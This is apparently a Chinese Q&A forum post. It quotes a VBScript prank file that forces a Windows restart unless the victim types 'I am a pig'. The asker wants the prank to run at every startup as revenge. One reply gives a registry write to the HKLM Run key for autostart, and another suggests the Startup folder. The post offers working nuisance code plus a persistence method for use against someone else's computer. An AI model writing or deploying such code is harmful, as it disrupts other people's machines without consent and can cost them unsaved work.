VB写的恶作剧关机代码

来源:百度知道 编辑:UC知道 时间:2024/06/23 01:17:00
一个朋友给我发了个.VBE的恶作剧文件,我用TXT打开,代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
请各位高手指点一下,能不能把这个作成开机自动运行的,我要报仇~~~~555555555555555 ORZ.....

Set w = CreateObject("wscript.shell")
w.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\123.vbe", "D:\game\game\123.vbe"
把上面的文件名,和路径,换成你自己的吧

放到开始--启动菜单就可以自动启动了